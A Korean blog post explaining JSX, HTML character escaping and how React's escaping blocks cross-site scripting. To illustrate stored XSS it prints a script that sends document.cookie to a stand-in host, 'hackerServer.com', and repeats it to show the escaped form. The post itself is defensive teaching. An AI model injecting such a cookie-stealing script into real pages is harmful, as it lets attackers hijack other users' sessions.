JSX
- 마크업과 UI 로직을 둘 다 포함하여 개발을 할 수 있다.
- 익숙한 문법으로 협업에 용이하다.
- 컴포넌트별로 분류하여 유지보수를 쉽게 할 수 있다.
- 속성 정의는 따옴표('')를 이용해 문자열 리터럴이나 중괄호({})로 JS 표현식(문법, 변수 등)을 삽입할 수 있다.
- HTML보다는 JS에 가깝기 때문에, 클래스 명명은 camelCase 명명 규칙을 사용한다.
- React DOM은 JSX에 삽입된 모든 값을 렌더링하기 전에 이스케이프한다.
- 따라서 앱에 명시적으로 작성되지 않은 내용은 주입되지 않는다.
- 모든 내용을 렌더링 되기 전에 문자열로 변환한다.
- 이런 특성들로 인해 XSS(Cross Site Scripting) 공격을 방지할 수 있다.
이스케이프(Escape)
특정 문자를 원래의 기능에서 벗어나게 변환하는 행위를 이스케이프(Escape)라고 한다.
&은 &로
<은 <로
>은 >로
"은 "로
'은 '로
띄어쓰기는 로
예를 들어 HTML에서 다음과 같은 상황은 렌더링이 되지 않는다.
<div><onlydev</div>
HTML은 '<'을 태그의 시작으로 인식하기 때문에 뒷부분이 에러가 나서 제대로 렌더링이 되지 않는다. 이런 상황들을 고려해 원래의 기능에서 벗어난 문자열로 변환하여 의도대로 구문 분석을 하도록 이스케이프를 한다.
<div><onlydev</div>
그런데 이스케이프가 어떻게 XSS 공격을 방지할 수 있을까?
XSS(Cross Site Scripting)
크로스 사이트 스크립팅 공격은 블로그나 게시판 같은 서비스에서 주로 일어나며 여러 사람들이 보는 글에 스크립트를 주입해서 사용자의 정보(쿠키, 세션)를 탈취하거나 비정상적인 기능을 수행하게 한다.
예를 들어 글을 쓸 때
- 제목과 글을 입력해서 글쓰기를 클릭하면
- 웹 서버에선 해당 데이터를 받아서 DB에 저장한다.
- 다른 사용자가 해당 서버에 접속해 DB에 있는 해당 글을 읽게 되면
- 그 때 써놓은 내용을 볼 수 있다.
이런 과정에서 글 대신 스크립트 언어를 써서 다른 사용자가 해당 글을 읽을 때 스크립트 언어가 실행되어 피해를 입게 하는 것이 XSS 공격이다.
<script>
let xmlHttp = new XMLHttpRequest();
const url =
'http://hackerServer.com?victimCookie=' +
document.cookie;
xmlHttp.open('GET', url);
xmlHttp.send();
</script>
해당 스크립트 코드가 실행 되면 피해자의 쿠키값을 해커의 서버 주소인 http://hackerServer.com에 그대로 전부 보내게 되고 해당 정보를 이용해 악용할 수 있는 것이다.
리액트의 XSS 공격 방지
다시 위의 내용으로 돌아가 React DOM은 다음과 같은 특성이 있다.
React DOM은 JSX에 삽입된 모든 값을 렌더링하기 전에 이스케이프한다.
그렇다면 위의 스크립트 코드를 이스케이프 해보자.
<!-- 이스케이프 후 -->
<script>
let xmlHttp = new XMLHttpRequest();
const url =
"http://hackerServer.com?victimCookie=" +
document.cookie;
xmlHttp.open("GET", url);
xmlHttp.send();
</script>
렌더링이 되기 전(사용자에게 보이기 전) 이스케이프된 모든 값은 브라우저에선 아래와 같이 입력한 그대로 보이게 되지만 HTML 본연의 태그나 스크립트 기능이 제거가 되기 때문에 XSS(Cross Site Scripting) 공격을 방지할 수 있다.
<!-- 이스케이프 후 브라우저에서 보이는 화면-->
<script>
let xmlHttp = new XMLHttpRequest();
const url =
'http://hackerServer.com?victimCookie=' +
document.cookie;
xmlHttp.open('GET', url);
xmlHttp.send();
</script>
JSX 좀 더 이해하기
JSX는 결국 React.createElement(component, props, ...children) 함수에 대한 편의 구문이다.
<MyButton className="btn" color="blue">
Click Me
</MyButton>
위의 코드는 아래와 같이 Babel을 통해 컴파일 된다.
React.createElement(
MyButton,
{
className: "btn",
color: "blue"
},
"Click Me"
);
이처럼 Babel은 React.createElement() 호출로 컴파일하며 위의 두 예시는 동일하다.
따라서 JSX는 React.createElement(component, props, ...children) 함수를 호출하기 위한 하나의 방법이며 JSX로 할 수 있는 모든 것은 순수 JS로도 할 수 있다. 빌드 환경에서 컴파일 설정을 하고 싶지 않을때 JSX 없이 React를 사용할 수 있다.
'React' 카테고리의 다른 글
MUI Data grid column default value 설정 방법 (4) | 2022.08.30 |
---|---|
[React.js] 엘리먼트(Element)와 컴포넌트(Component) (1) | 2021.07.17 |
[React.js] Netlify로 배포 후 새로고침 에러 | Page Not Found (0) | 2021.07.09 |
[React.js] 컴포넌트 저장 기능 구현하기(dom-to-image, FileSaver) (7) | 2021.07.07 |
[React.js] 유튜브를 만들어 보자 (0) | 2021.04.30 |